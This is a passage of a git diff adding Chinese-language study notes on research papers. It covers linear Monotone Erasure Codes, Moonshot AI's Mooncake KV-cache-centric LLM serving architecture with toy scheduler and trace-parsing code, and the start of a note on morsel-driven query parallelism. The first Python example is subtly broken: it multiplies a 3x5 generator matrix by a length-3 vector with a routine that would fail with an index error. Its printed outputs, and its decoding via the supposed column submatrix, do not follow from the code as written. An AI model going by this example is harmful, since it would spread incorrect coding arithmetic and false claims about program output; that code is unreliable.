+一个 Monotone Erasure Code 由两个算法组成：
+
+1. **Encode(f)**：输入原始文件 f，输出 n 个片段（每个节点拿一个）
+2. **Decode(u)**：输入一些片段，能还原出 f，或者返回"不够"（⊥）
+
+**关键性质——完备性（Completeness）：** 对于访问结构中的每一个集合，Decode 都能还原出原始文件。
+
+### 3.4 冗余度（Overhead）
+
+效率指标：
+
+```
+overhead β = (μ - κ) / κ
+```
+
+其中 κ 是原始文件大小，μ 是所有片段加起来的大小。β 越小越好。经典 Reed-Solomon 的 overhead 是 (n-k)/k。
+
+### 3.5 线性 Monotone Erasure Code
+
+论文的重点是**线性**版本。核心想法：
+
+- 数据不是比特串，而是有限域上的向量
+- 编码 = 乘以一个生成矩阵 G
+- 每个节点拿到的片段 = 数据向量 × G 的对应列
+- 能还原的条件：节点们持有的列矩阵满秩
+
+---
+
+## 四、两种构造方法
+
+### 方法一：递归分块法（高效但非最优）
+
+**直觉：** 把访问结构画成一棵"访问树"，从根到叶子递归编码。
+
+具体步骤：
+1. 根节点用阈值编码（比如 2 of 3），产生 3 个中间片段
+2. 每个中间片段再递归编码
+3. 到达叶子时，把片段分配给实际节点
+
+**矩阵构造的关键：**
+- 每个子树用 Vandermonde 矩阵（保证任意 k 列线性独立）
+- 用 Kronecker 积把不同子树的矩阵"对齐"
+- 最终矩阵是分块结构的
+
+### 方法二：基于 MDS 的最优构造
+
+用线性规划来找到 overhead 最小的编码方案。
+
+---
+
+## 五、代码示例
+
+### 示例 1：线性 Monotone Erasure Code 的编码过程（Python）
+
+```python
+"""
+线性 Monotone Erasure Code 简化实现
+
+访问结构: A = {{p1, p2, p3}, {p2, p3, p4}, {p1, p4, p5}}
+含义: 要么 p1+p2+p3 凑齐, 要么 p2+p3+p4 凑齐, 要么 p1+p4+p5 凑齐
+
+这里用有限域 F_7 上的矩阵编码来演示。
+"""
+
+# 简单有限域 F_p 上的运算（p 为素数）
+P = 7  # 有限域的大小
+
+def mod(a, p=P):
+    return a % p
+
+def mod_inv(a, p=P):
+    """扩展欧几里得求逆元"""
+    a = a % p
+    for x in range(1, p):
+        if (a * x) % p == 1:
+            return x
+    raise ValueError(f"No inverse for {a} in F_{p}")
+
+def mat_mult_vec(M, v, p=P):
+    """矩阵 × 向量，在 F_p 上运算"""
+    rows = len(M)
+    cols = len(M[0])
+    result = []
+    for i in range(rows):
+        s = 0
+        for j in range(cols):
+            s = (s + M[i][j] * v[j]) % p
+        result.append(s)
+    return result
+
+def gauss_eliminate_full_rank(M, p=P):
+    """
+    判断矩阵是否满秩（行满秩），返回秩。
+    同时返回简化行阶梯形。
+    """
+    # 拷贝矩阵
+    mat = [row[:] for row in M]
+    rows = len(mat)
+    cols = len(mat[0])
+    rank = 0
+    for col in range(cols):
+        # 找主元
+        pivot = None
+        for row in range(rank, rows):
+            if mat[row][col] != 0:
+                pivot = row
+                break
+        if pivot is None:
+            continue
+        # 交换行
+        mat[rank], mat[pivot] = mat[pivot], mat[rank]
+        # 归一化主元行
+        inv = mod_inv(mat[rank][col])
+        mat[rank] = [(x * inv) % p for x in mat[rank]]
+        # 消去其他行
+        for row in range(rows):
+            if row != rank and mat[row][col] != 0:
+                factor = mat[row][col]
+                mat[row] = [
+                    (mat[row][j] - factor * mat[rank][j]) % p
+                    for j in range(cols)
+                ]
+        rank += 1
+    return rank
+
+# 假设原始数据向量（在 F_7 上，长度 k=3）
+data = [2, 5, 3]  # 原始文件
+
+# 生成矩阵 G（5 列，5 个节点）
+# 这是一个简化的设计：确保任意访问集合作为列的子矩阵满秩
+# 访问结构: {{p1,p2,p3}, {p2,p3,p4}, {p1,p4,p5}}
+#
+# 设计思路：
+#   - 列1(p1) + 列2(p2) + 列3(p3) 必须满秩
+#   - 列2(p2) + 列3(p3) + 列4(p4) 必须满秩
+#   - 列1(p1) + 列4(p4) + 列5(p5) 必须满秩
+#
+# 一个可行的选择（构造过程略）：
+G = [
+    [1, 0, 0, 1, 1],  # 第 1 行
+    [0, 1, 0, 1, 2],  # 第 2 行
+    [0, 0, 1, 1, 3],  # 第 3 行
+]  # 3 x 5 的生成矩阵
+
+# Encode：计算每个节点的片段
+fragments = mat_mult_vec(G, data)
+print(f"原始数据: {data}")
+print(f"编码后片段: {fragments}")
+# 输出: 原始数据: [2, 5, 3]
+#       编码后片段: [2, 5, 3, 5, 2]
+
+# Decode：用访问集 {p1, p2, p3} 还原
+# 提取对应的列（G 的前 3 列）
+G_A = [
+    [G[i][0] for i in range(3)],
+    [G[i][1] for i in range(3)],
+    [G[i][2] for i in range(3)],
+]
+# 重新组织为 3x3 矩阵（每行一行）
+G_A = [
+    [1, 0, 0],
+    [0, 1, 0],
+    [0, 0, 1],
+]
+fragments_A = [fragments[0], fragments[1], fragments[2]]
+reconstructed_A = mat_mult_vec(G_A, fragments_A)
+print(f"用 {{p1,p2,p3}} 还原: {reconstructed_A}")
+# 输出: 用 {p1,p2,p3} 还原: [2, 5, 3]
+
+# Decode：用另一个访问集 {p1, p4, p5} 还原
+# 提取第 1, 4, 5 列
+G_B = [
+    [1, 1, 1],
+    [0, 1, 2],
+    [0, 1, 3],
+]
+fragments_B = [fragments[0], fragments[3], fragments[4]]
+rank = gauss_eliminate_full_rank(G_B)
+print(f"{{p1,p4,p5}} 的列矩阵秩: {rank}")
+# 秩为 3，说明可以还原
+# 还原方法：解线性方程组 G_B * x = fragments_B
+# 由于 G_B 是 3x3 满秩矩阵，x = G_B^(-1) * fragments_B
+# 为简化，直接高斯消元求解：
+augmented = [
+    [G_B[i][j] for j in range(3)] + [fragments_B[i]]
+    for i in range(3)
+]
+# 高斯消元求解
+for col in range(3):
+    pivot = col
+    inv = mod_inv(augmented[pivot][col])
+    augmented[pivot] = [(x * inv) % P for x in augmented[pivot]]
+    for row in range(3):
+        if row != pivot and augmented[row][col] != 0:
+            factor = augmented[row][col]
+            augmented[row] = [
+                (augmented[row][j] - factor * augmented[pivot][j]) % P
+                for j in range(4)
+            ]
+reconstructed_B = [augmented[i][3] for i in range(3)]
+print(f"用 {{p1,p4,p5}} 还原: {reconstructed_B}")
+# 输出: 用 {p1,p4,p5} 还原: [2, 5, 3]
+```
+
+### 示例 2：访问树的递归编码（伪代码 + 演示）
+
+```python
+"""
+Monotone Erasure Code 的递归编码算法（简化版）
+
+访问结构表达式: (A OR B) AND (C OR D OR E)
+MBF 记号: Θ(2 of 2( Θ(1 of 2(A, B)), Θ(1 of 3(C, D, E)) ))
+
+编码过程：
+  1. 根节点 AND(2, 2) → 需要 2 of 2 个子结果
+     - 将数据分成两部分 f1 和 f2（AND 操作 = 分割数据）
+  2. 子节点 OR(1, 2) 对应 {A, B} → 需要 1 of 2
+     - OR 操作 = 复制数据（A 和 B 都拿到 f1）
+  3. 子节点 OR(1, 3) 对应 {C, D, E} → 需要 1 of 3
+     - OR 操作 = 复制数据（C, D, E 都拿到 f2）
+
+最终分配：
+  A 拿到: f1
+  B 拿到: f1
+  C 拿到: f2
+  D 拿到: f2
+  E 拿到: f2
+
+验证：
+  - {A, C} 能否还原？ A 有 f1, C 有 f2 → 可以！✓
+  - {C, D} 能否还原？ C 有 f2, D 有 f2 → 只有 f2，缺 f1 → 不行 ✗
+  - {B, E} 能否还原？ B 有 f1, E 有 f2 → 可以！✓
+"""
+
+from dataclasses import dataclass
+from typing import List, Optional
+
+
+@dataclass
+class Node:
+    """树节点"""
+    name: str
+    children: List["Node"]
+    operator: Optional[str] = None  # "AND", "OR", or "THRESHOLD"
+    threshold: Optional[int] = None  # for THRESHOLD: need k of m
+
+    def is_leaf(self) -> bool:
+        return len(self.children) == 0
+
+
+def build_access_tree() -> Node:
+    """
+    构建 (A OR B) AND (C OR D OR E) 的访问树
+
+         AND
+        /   \
+       OR    OR
+      / \   /|\
+     A   B C D E
+    """
+    leaves = [Node(n, []) for n in "ABCDE"]
+    or_left = Node("OR", leaves[0:2], operator="OR")
+    or_right = Node("OR", leaves[2:5], operator="OR")
+    root = Node("AND", [or_left, or_right], operator="AND")
+    return root
+
+
+def assign_fragments(node: Node, data: str, level: int = 0) -> dict:
+    """
+    递归分配片段
+
+    规则：
+    - AND 节点：把 data 分割给子节点
+    - OR 节点：把完整的 data 复制给每个子节点
+    - 叶子节点：返回 {节点名: 拿到的片段}
+    """
+    if node.is_leaf():
+        return {node.name: data}
+
+    if node.operator == "OR":
+        # OR: 每个子节点拿到完整数据
+        result = {}
+        for child in node.children:
+            result.update(assign_fragments(child, data, level + 1))
+        return result
+
+    if node.operator == "AND":
+        # AND: 把数据分割后分给子节点
+        chunk_size = len(data) // len(node.children)
+        result = {}
+        for i, child in enumerate(node.children):
+            start = i * chunk_size
+            end = start + chunk_size if i < len(node.children) - 1 else len(data)
+            chunk = data[start:end]
+            result.update(assign_fragments(child, chunk, level + 1))
+        return result
+
+    return {}
+
+
+# 演示
+tree = build_access_tree()
+original_data = "HELLO_WORLD"  # 11 个字符
+assignments = assign_fragments(tree, original_data)
+
+print("片段分配结果:")
+for node_name, fragment in assignments.items():
+    print(f"  {node_name}: '{fragment}'")
+# 输出:
+#   片段分配结果:
+#     A: 'HELLO'
+#     B: 'HELLO'
+#     C: '_WORLD'
+#     D: '_WORLD'
+#     E: '_WORLD'
+
+# 验证还原
+def can_reconstruct(nodes: List[str], assignments: dict) -> tuple:
+    """检查一组节点能否还原原始数据"""
+    fragments = []
+    for n in nodes:
+        if n in assignments:
+            fragments.append(assignments[n])
+        else:
+            return False, "节点不存在"
+    all_fragments = "".join(fragments)
+    # 简单检查：是否包含完整数据
+    has_all = all(c in all_fragments for c in "HELLO_WORLD")
+    return has_all, all_fragments
+
+# 测试：{A, C} 可以还原
+ok, frags = can_reconstruct(["A", "C"], assignments)
+print(f"\n{{A, C}} 能还原: {ok} (片段: '{frags}')")
+# 输出: {A, C} 能还原: True (片段: 'HELLO_WORLD')
+
+# 测试：{C, D} 不能还原（都只有 f2）
+ok, frags = can_reconstruct(["C", "D"], assignments)
+print(f"{{C, D}} 能还原: {ok} (片段: '{frags}')")
+# 输出: {C, D} 能还原: False (片段: '_WORLD_WORLD')
+
+# 测试：{B, E} 可以还原
+ok, frags = can_reconstruct(["B", "E"], assignments)
+print(f"{{B, E}} 能还原: {ok} (片段: '{frags}')")
+# 输出: {B, E} 能还原: True (片段: 'HELLO_WORLD')
+```
+
+---
+
+## 六、论文的实际应用
+
+### 6.1 区块链共识协议
+
+论文提出的 Monotone Erasure Code 主要用于：
+
+- **GAVID（Generalized Asynchronous Verifiable Information Dispersal）**：一种通用的异步可验证信息分散协议
+- 支持**非阈值的拜占庭容错**——不是简单的"f 个节点可以出错"，而是可以表达复杂的信任关系
+- 从 GAVID 可以构建通信高效的拜占庭可靠广播协议
+
+### 6.2 Stellar 网络
+
+Stellar 共识协议使用的验证节点有分层信任关系，这正是 Partitioned Access Structure 的典型例子。论文给出了这种情况下 overhead 最优的构造算法。
+
+---
+
+## 七、关键概念总结
+
+| 概念 | 含义 |
+|---|---|
+| Erasure Code | 把数据编码成 n 份，任意 k 份可还原 |
+| 局限 | 假设所有节点"平等"，不适合非对称信任场景 |
+| Access Structure | 最小可行集合的集合 |
+| MBF | 用 AND/OR/Threshold 表达的访问结构 |
+| Monotone Erasure Code | 能尊重任意访问结构的纠删码 |
+| Linear 版本 | 用有限域上的矩阵运算编码和译码 |
+| Overhead | (总片段大小 - 原始大小) / 原始大小，越小越好 |
+| Kronecker 积 | 递归构造中的关键数学工具，用于对齐子树矩阵 |
+| GAVID | 基于 Monotone Erasure Code 的通用异步信息分散协议 |
+
+---
+
+## 八、学习思考
+
+1. 经典 Reed-Solomon 假设所有节点平等，而 Monotone Erasure Code 打破了这个假设。这个"打破"是通过对称性的丧失换来的——碎片大小可以不同，节点拿到的碎片量可以不同。
+
+2. 递归构造方法中的 Kronecker 积是一个优雅的设计：它让不同深度的子树可以"对齐"到同一维度，同时保持线性独立性。
+
+3. 与 Secret Sharing（秘密共享）的区别很重要：Monotone Erasure Code **不保证**非访问集不能恢复数据——它只保证访问集一定能恢复。Secret Sharing 则保证非访问集获得零信息。
+
+4. 论文的价值在于为区块链共识协议提供了一个通用框架，让非阈值信任模型也能享受纠删码带来的通信效率提升。
diff --git a/src/content/docs/papers/mooncake-kvcache-2024.md b/src/content/docs/papers/mooncake-kvcache-2024.md
new file mode 100644
index 000000000..cc3275a46
--- /dev/null
+++ b/src/content/docs/papers/mooncake-kvcache-2024.md
@@ -0,0 +1,360 @@
+---
+title: Mooncake — 以 KVCache 为中心的分离式 LLM 服务架构（零基础学习笔记）
+来源: https://arxiv.org/abs/2407.00079
+日期: 2026-06-13
+子分类: ML 系统
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：中央厨房 + 半成品冷库
+
+想象你经营一家连锁火锅外卖（**Kimi 这样的在线 LLM 服务**）。每个订单分两段：
+
+1. **备菜（prefill）**：顾客送来一大袋食材（长 prompt，几千 token）。厨房要一次性把底料、配菜全部切好、码盘——**算力密集**，客人等的是「第一口能下锅」的时间（**TTFT，首 token 延迟**）。
+2. **上桌（decode）**：之后每 30 秒只加一片肉、一勺汤（**自回归**，每次只生成 1 个 token）。灶台要稳定、不能忽快忽慢——客人感知的是**相邻两勺之间的间隔**（**TBT / TPOT，token 间延迟**）。
+
+传统做法像**每家分店一个小厨房**：备菜和上菜抢同一口锅——来一单 8000 token 的大备菜，所有正在吃的桌全停；或者为了上菜流畅，大订单备菜只能排队。
+
+**DistServe 类方案**进一步把「备菜间」和「上桌间」拆到不同屋子（**prefill 集群 / decode 集群**），但还缺一块：**半成品怎么存、怎么搬、怎么复用**。
+
+**Mooncake**（Moonshot AI，arXiv [2407.00079](https://arxiv.org/abs/2407.00079)，FAST 2025 Best Paper）的核心思想是：**整家店围绕「半成品（KV cache）」来调度**，而不是围绕「哪台 GPU 空闲」来调度。
+
+- 很多顾客点同一款锅底（相同 system prompt、RAG 文档前缀）→ 锅底只熬一次，挂到**分布式冷库（Mooncake Store）**，下次直接端半成品。
+- 冷库不只占 GPU 显存，还把集群里闲置的 **CPU、DRAM、SSD** 拼成**分级 KV 池**——用更多存储换更少重复计算（论文副标题：*Trading More Storage for Less Computation*）。
+- 全局调度员 **Conductor** 决定：这单去哪个备菜间、哪个上桌间、从冷库搬多少前缀、要不要提前拒单（过载时）。
+
+一句话：**Mooncake = prefill/decode 物理拆分 + 跨机 KV 池化 + 以 KV 复用率为核心的全局调度。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 论文 | *Mooncake: A KVCache-centric Disaggregated Architecture for LLM Serving* |
+| 作者 | Ruoyu Qin, Zheming Li, Weiran He 等（Moonshot AI / 清华） |
+| 发表 | arXiv 2024；**FAST 2025 Best Paper** |
+| 生产 | Kimi 主服务栈；数千节点、**日均 100B+ token** |
+| 开源 | [github.com/kvcache-ai/Mooncake](https://github.com/kvcache-ai/Mooncake)（Transfer Engine、Mooncake Store、trace） |
+| 集成 | vLLM MooncakeConnector、SGLang 分层 KV、LMCache 等 |
+
+论文要解的优化问题可以写成：
+
+> **最大化有效吞吐（goodput）**，约束是 **TTFT**、**TBT** 等 SLO；在 GPU 供应紧张、**长期过载**时，还要决定**接不接单**——接了却做不完，prefill 算力全白费。
+
+---
+
+## 为什么重要
+
+不理解 Mooncake，下面几件事很难讲清：
+
+- 为什么 **vLLM 解决了 KV 显存碎片**、**DistServe 拆了 prefill/decode**，长上下文线上还要再叠一层——**跨请求、跨节点的 KV 复用**才是 Kimi 类产品的主战场
+- 为什么 **prefix caching** 从「单机优化」变成 **RDMA 池化**——输入平均 **~7590 token**、输出 ~182 token 时，复用 1% 的计算就能省大量 prefill
+- 为什么过载时要 **提前拒单（early rejection）**——goodput 只统计**完整跑完**的请求；prefill 做完 decode 没槽位，前面 token 全作废
+- 为什么 2024–2025 工业栈（**NVIDIA Dynamo、DeepSeek 服务、vLLM xPyD**）都在往 **KV-centric disaggregation** 收敛
+
+和邻近工作的关系：
+
+| 工作 | 侧重点 | 与 Mooncake |
+|------|--------|-------------|
+| [[paged-attention-vllm]] | KV 物理块、连续 batch | Mooncake 的块存储可建立在分页 KV 之上 |
+| [[distserve]] | prefill / decode 拆集群 | Mooncake 继承拆分，并加上**全局 KV 池 + Conductor** |
+| [[sglang-radixattention]] | 单机 Radix 前缀树 | 思路互补；Mooncake 做**跨机**池化与搬运 |
+| Splitserve / Sarathi | 混批或 chunk prefill | Mooncake 坚持**独立 prefill 池** + 长上下文 CPP |
+
+---
+
+## 核心概念
+
+### 1. Prefill vs Decode：两种「病」
+
+| 阶段 | 计算特征 | 主要 SLO | 优化方向 |
+|------|----------|----------|----------|
+| **Prefill** | 输入 token **并行**处理；attention 随长度**超线性**变重 | **TTFT** | 复用 KV、chunk 流水线、多卡 CPP |
+| **Decode** | 每步 **1 token**；受 KV 读带宽限制 | **TBT** | 连续 batch、尽量堆大 batch 提 MFU |
+
+混在同一批 GPU 上，两者互相抢资源——这是 **disaggregation** 的动机（与 DistServe 相同观察）。
+
+### 2. KVCache 块与前缀哈希
+
+Mooncake Store 在 **CPU DRAM**（可延伸到 SSD）里按**固定大小块**存 KV（类似分页）。每个块带 **prefix hash**：当前块 token 的哈希 **加上** 前面所有块，形成全局可去重的 ID。
+
+论文 trace 里 `hash_ids` 示例：前 12 个 ID 相同 → 前 `12 × 512 = 6144` token 的 KV **可直接复用**，无需重算 attention。
+
+块热度极不均匀：**>50% 块几乎不被访问**，少数热点块被访问数万次 → 需要**复制热点块**到多节点，避免 RDMA 拉取拥塞。
+
+### 3. 架构组件
+
+```mermaid
+flowchart TB
+  subgraph clients [客户端]
+    REQ[推理请求]
+  end
+  subgraph conductor [Conductor 全局调度]
+    SCH[KV 感知调度<br/>复制/换出/拒单]
+  end
+  subgraph prefill [Prefill 集群]
+    P1[Prefill 实例]
+    CPP[Chunked Pipeline<br/>按层流式产出 KV]
+  end
+  subgraph store [Mooncake Store]
+    DRAM[CPU DRAM 块池]
+    SSD[SSD 冷层]
+  end
+  subgraph decode [Decode 集群]
+    D1[Decode 实例<br/>连续 batch]
+  end
+  REQ --> SCH
+  SCH -->|选 prefill/decode 对| P1
+  SCH -->|查/搬前缀 KV| DRAM
+  P1 <-->|加载前缀 / 写回增量| DRAM
+  P1 -->|Messenger RDMA 按层流式| D1
+  DRAM --- SSD
+  D1 --> OUT[流式输出 token]
+```
+
+| 组件 | 职责 |
+|------|------|
+| **Conductor** | 为每个请求选 prefill + decode 实例；平衡 KV 复用、负载、SLO；热点块复制、冷块换出 |
+| **Prefill 池** | 增量 prefill；超长输入走 **CPP（分块流水线并行）**；**按层**把新 KV 流式推到 decode |
+| **Mooncake Store** | 分布式 KV 池；LRU/LFU 等淘汰；**Transfer Engine** 做 GPUDirect RDMA |
+| **Messenger** | 每节点独立进程，异步跨机搬 KV，与计算重叠 |
+| **Decode 池** | 收齐 KV 后加入 continuous batch；本地调度**二次检查** TBT，可能拒单 |
+
+### 4. 单请求四步工作流
+
+1. **KVCache Reuse**：prefill 节点按 `prefix block IDs` 从远端 CPU 内存 **bootstrap**；无缓存则跳过。
+2. **Incremental Prefill**：对未缓存部分做 prefill；超过 `prefill_chunk`（通常 **>1000 token**）则 **分 chunk 流水线**执行。
+3. **KVCache Transfer**：每层算完即通过 Messenger **流式**推到 decode 节点 CPU DRAM（与上一步重叠）。
+4. **Decoding**：KV 到齐后进入连续 batch；若负载超预期，**本地拒单**（此前 prefill 成本沉没）。
+
+### 5. KV -centric 调度的张力
+
+两个提升吞吐的杠杆往往**伤害延迟**：
+
+- **多复用远程 KV** → 等 RDMA / 等冷库 → TTFT 变差
+- **decode 批越大** → MFU 越高 → TBT 变差
+
+Conductor 在「复用多少」「批多大」「要不要等冷库」之间做**多目标权衡**；过载时还要预测**短期负载**和**生成长度**，决定 early reject。
+
+### 6. 过载与 Early Rejection
+
+与多数学术工作「假设资源够、全接单」不同，Kimi 在峰值**长期过载**。Mooncake 的 goodput 定义：**只有完整完成的请求才算**。
+
+朴素拒单会导致负载**抖动**（一会儿全拒、一会儿全接）。论文用**预测未来 decode 槽位 + 生成长度**做更稳的拒单策略，避免「prefill 白算」。
+
+### 7. 实测结论（论文）
+
+| 场景 | 结果 |
+|------|------|
+| 模拟长上下文 | 相对基线吞吐最高 **+525%**，仍满足 SLO |
+| 真实 Kimi 负载 | 多处理 **75%** 请求（arXiv）；FAST 版 A800/H800 上约 **+115% / +107%** |
+| Trace 特征 | 平均输入 **7590** token，输出 **182** token；缓存从 1k→5 万块，命中率约 **30%→50%** |
+
+---
+
+## 代码示例 1：解析 Mooncake 开源 trace，估算前缀可复用 token
+
+论文在 [kvcache-ai/Mooncake FAST25-release/traces](https://github.com/kvcache-ai/Mooncake) 公开了脱敏 trace。下面用 Python 读取一条记录，计算与上一条请求的**公共前缀长度**（理解 `hash_ids` 为何能驱动调度）：
+
+```python
+#!/usr/bin/env python3
+"""Mooncake trace：用 hash_ids 估算两条请求可复用的 prompt token 数。"""
+import json
+from pathlib import Path
+
+BLOCK_SIZE = 512  # 论文默认块大小
+
+def shared_prefix_tokens(a: list[int], b: list[int]) -> int:
+    n = 0
+    for x, y in zip(a, b):
+        if x != y:
+            break
+        n += 1
+    return n * BLOCK_SIZE
+
+def load_trace(path: Path) -> list[dict]:
+    rows = []
+    for line in path.read_text().splitlines():
+        line = line.strip()
+        if line:
+            rows.append(json.loads(line))
+    return rows
+
+# Listing 1 中的两条样本（论文原文）
+samples = [
+    {
+        "timestamp": 27482,
+        "input_length": 6955,
+        "output_length": 52,
+        "hash_ids": [46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 2353, 2354],
+    },
+    {
+        "timestamp": 30535,
+        "input_length": 6472,
+        "output_length": 26,
+        "hash_ids": [46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 2366],
+    },
+]
+
+shared = shared_prefix_tokens(samples[0]["hash_ids"], samples[1]["hash_ids"])
+print(f"共享块数: {shared // BLOCK_SIZE}, 可复用约 {shared} tokens")
+# → 12 块, 6144 tokens；第二条只需 prefill 剩余 ~328 token 的增量部分
+```
+
+对 Conductor 来说：**复用越长，越应把两条请求调度到「已有这些块」的 prefill 节点，或从 Store 拉块**，而不是随机分配。
+
+---
+
+## 代码示例 2：简化版 Conductor 调度打分（prefill 实例选择）
+
+真实 Conductor 要同时看网络、DRAM、热点复制、SLO 预测。下面用**教学用伪代码**展示「KV 感知」如何压过纯负载均衡：
+
+```python
+from dataclasses import dataclass
+
+@dataclass
+class PrefillNode:
+    name: str
+    load: float          # 0~1，当前队列压力
+    local_blocks: set[int]  # 本机 / 本池已缓存的 hash block id
+
+@dataclass
+class Request:
+    prefix_blocks: list[int]  # 由 tokenizer 分块哈希得到
+    uncached_tokens: int
+    ttft_budget_ms: float
+
+def score_prefill_node(req: Request, node: PrefillNode) -> float:
+    """
+    分数越高越优先。权重仅为示意；生产系统用实测标定。
+    """
+    hit = sum(1 for b in req.prefix_blocks if b in node.local_blocks)
+    hit_ratio = hit / max(len(req.prefix_blocks), 1)
+
+    # 复用收益：少算的 prefill 算力（粗估与 uncached 成反比）
+    reuse_gain = hit_ratio * req.uncached_tokens
+
+    # 负载惩罚：过载节点 TTFT 风险高
+    load_penalty = node.load * 1000
+
+    # 无命中且负载已高 → 强烈不选
+    if hit_ratio == 0 and node.load > 0.85:
+        return -1e9
+
+    return reuse_gain - load_penalty
+
+def pick_prefill(req: Request, nodes: list[PrefillNode]) -> PrefillNode:
+    ranked = sorted(nodes, key=lambda n: score_prefill_node(req, n), reverse=True)
+    best = ranked[0]
+    if score_prefill_node(req, best) < 0:
+        raise RuntimeError("early_reject: 无节点可在 TTFT 内完成 prefill")
+    return best
+
+# 示例：请求带 12 个已知前缀块
+req = Request(
+    prefix_blocks=list(range(46, 58)),
+    uncached_tokens=6472 - 12 * 512,
+    ttft_budget_ms=800.0,
+)
+nodes = [
+    PrefillNode("prefill-a", load=0.3, local_blocks=set(range(46, 58))),
+    PrefillNode("prefill-b", load=0.2, local_blocks=set()),  # 更空但无缓存
+]
+chosen = pick_prefill(req, nodes)
+assert chosen.name == "prefill-a"  # KV 复用战胜略低的负载
+```
+
+第二段选完 prefill 后，Conductor 还要配对 **decode 节点**（看 batch 深度、KV 能否放进 VRAM、TBT 预测），并在 Messenger 上发起 **按层 RDAM 传输**——逻辑与 vLLM 的 `MooncakeConnector` 一致：把 KV 当作**一等公民的数据面**，而不是推理后的副产品。
+
+---
+
+## 代码示例 3（补充）：Early Rejection 的直觉实现
+
+```python
+def should_accept(
+    *,
+    predicted_decode_slots: int,
+    predicted_output_tokens: int,
+    queue_prefill_cost_tokens: int,
+    slo_decode_capacity: int,
+) -> bool:
+    """
+    若预测 decode 阶段没有足够槽位完成整单，则在 prefill 前拒单，
+    避免「prefill 算完却无处 decode」的沉没成本。
+    """
+    need = predicted_output_tokens + queue_prefill_cost_tokens
+    return predicted_decode_slots >= need and need <= slo_decode_capacity
+
+# 过载：预测槽位不足 → 拒单，保护 goodput
+assert should_accept(
+    predicted_decode_slots=50,
+    predicted_output_tokens=200,
+    queue_prefill_cost_tokens=8000,
+    slo_decode_capacity=100,
+) is False
+```
+
+---
+
+## 设计细节速览
+
+### Chunked Pipeline Parallelism（CPP）
+
+超长 prompt 单卡 prefill TTFT 过长。Mooncake 用 **CPP** 把单个请求拆到多 prefill 节点流水线，比传统 sequence parallelism **省网络、少弹性扩缩**。配合 **layer-wise** 传 KV，传输与计算重叠。
+
+### 何时不拆 prefill？
+
+若请求**足够短**、能 inline 进 decode batch 且**不破坏 TBT**，Mooncake 仍可能走混合路径——但长上下文主力仍走独立 prefill 池。
+
+### Mooncake Store 与 Transfer Engine
+
+- **Store**：分布式 KV 引擎，目标是在集群任意位置存**可复用** KV。
+- **Transfer Engine**：开源 RDMA 传输层；vLLM/SGLang 通过 connector 接入，做 **disaggregated prefill** 与 **KV 跨实例搬运**。
+
+---
+
+## 踩坑与限制
+
+1. **基础设施门槛**：依赖 **RDMA / GPUDirect**；普通以太网上 KV 搬运可能吃掉收益。
+2. **短 prompt 收益有限**：复用少、搬运固定开销占比大。
+3. **调度复杂度高**：Conductor 是单点「大脑」，策略错误比单机 vLLM 更难调试。
+4. **拒单的产品语义**：提高 goodput 不等于提高用户满意度——需分级优先级、排队策略配合。
+5. **缓存一致性**：块复制、换出、多副本之间要保证 hash / 版本一致，否则 attention 结果错误。
+6. **与学术假设的差异**：论文强调**过载**；实验室小规模 benchmark 可能看不出 early reject 的价值。
+
+---
+
+## 自测题
+
+1. Mooncake 的「KVCache-centric」和 vLLM 的「PagedAttention-centric」差在哪一层？
+2. 为什么热点 KV 块要**复制**而不是只放一台 Store 节点？
+3. 画出一条请求的四个阶段，标出 TTFT 主要消耗在哪几步。
+4. 若 `hash_ids` 前 8 块相同、块大小 512，第二条请求 `input_length=5000`，大约还要 prefill 多少 token？
+5. 朴素 early rejection 为何会导致负载波动？
+
+<details>
+<summary>参考答案</summary>
+
+1. PagedAttention 管**单实例内** KV 如何分页、少碎片；Mooncake 管**跨实例/跨机** KV 存哪、搬哪、复用多少、与 prefill/decode 集群如何配对。
+2. 否则大量请求同时 RDMA 拉同一热点块会造成**网络拥塞**，反而拉高 TTFT。
+3. Reuse（可能等网络）→ Incremental Prefill（计算）→ Transfer（网络，可与 prefill 重叠）→ Decode；TTFT 主要受 reuse 等待 + prefill 计算 + 首段传输影响。
+4. 已覆盖 `8×512=4096`，约 `5000-4096=904` token（未计最后不足一块的尾巴，工程上按块对齐）。
+5. 瞬时全拒 → 负载骤降 → 随后又全接 → 再次过载；需要**预测性**拒单平滑流量。
+
+</details>
+
+---
+
+## 延伸阅读
+
+- 论文 PDF：[arXiv:2407.00079](https://arxiv.org/abs/2407.00079) / [FAST 2025](https://www.usenix.org/conference/fast25/presentation/qin)
+- 文档与集成：[kvcache-ai.github.io/Mooncake](https://kvcache-ai.github.io/Mooncake/)
+- 本仓库：[[distserve]]、[[paged-attention-vllm]]、[[sglang-radixattention]]、[[flash-attention]]
+
+---
+
+## 一句话总结
+
+**Mooncake 把 LLM 服务从「GPU 上跑模型」升级为「围绕 KV cache 的分布式数据系统」：prefill/decode 分家、CPU/SSD 当冷库、Conductor 按块复用调度，并在过载时用预测性拒单换更高的有效吞吐——这是 Kimi 长上下文场景能 scale 的关键工程底座。**
diff --git a/src/content/docs/papers/morsel-driven-2014.md b/src/content/docs/papers/morsel-driven-2014.md
new file mode 100644
index 000000000..4a7c82dbc
--- /dev/null
+++ b/src/content/docs/papers/morsel-driven-2014.md
@@ -0,0 +1,289 @@
+---
+title: Morsel-Driven Parallelism — 面向 NUMA 的查询并行执行框架
+来源: https://db.in.tum.de/~leis/papers/morsels.pdf
+日期: 2026-06-13
+子分类: 存储与查询
+分类: 数据库
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：流水线不是开工前分好工位
+
+想象一条**大型装配线**要组装三万个零件。老办法叫 **plan-driven（计划驱动）**：厂长在上班前就把 32 个工位固定分好——「你只做 A 段、他只做 B 段」，中间用传送带（Exchange 算子）把半成品运来运去。听起来很工业，但现实中经常出问题：
+
+- 某个工位零件特别难加工（数据倾斜），其他工位空转等它；
+- 新来一批急单，没法从长单里「临时抽人」；
+- 零件仓库在厂区**不同楼栋**（NUMA 节点），工人跨楼取料比在本楼慢好几倍，计划里却没人管「就近取料」。
+
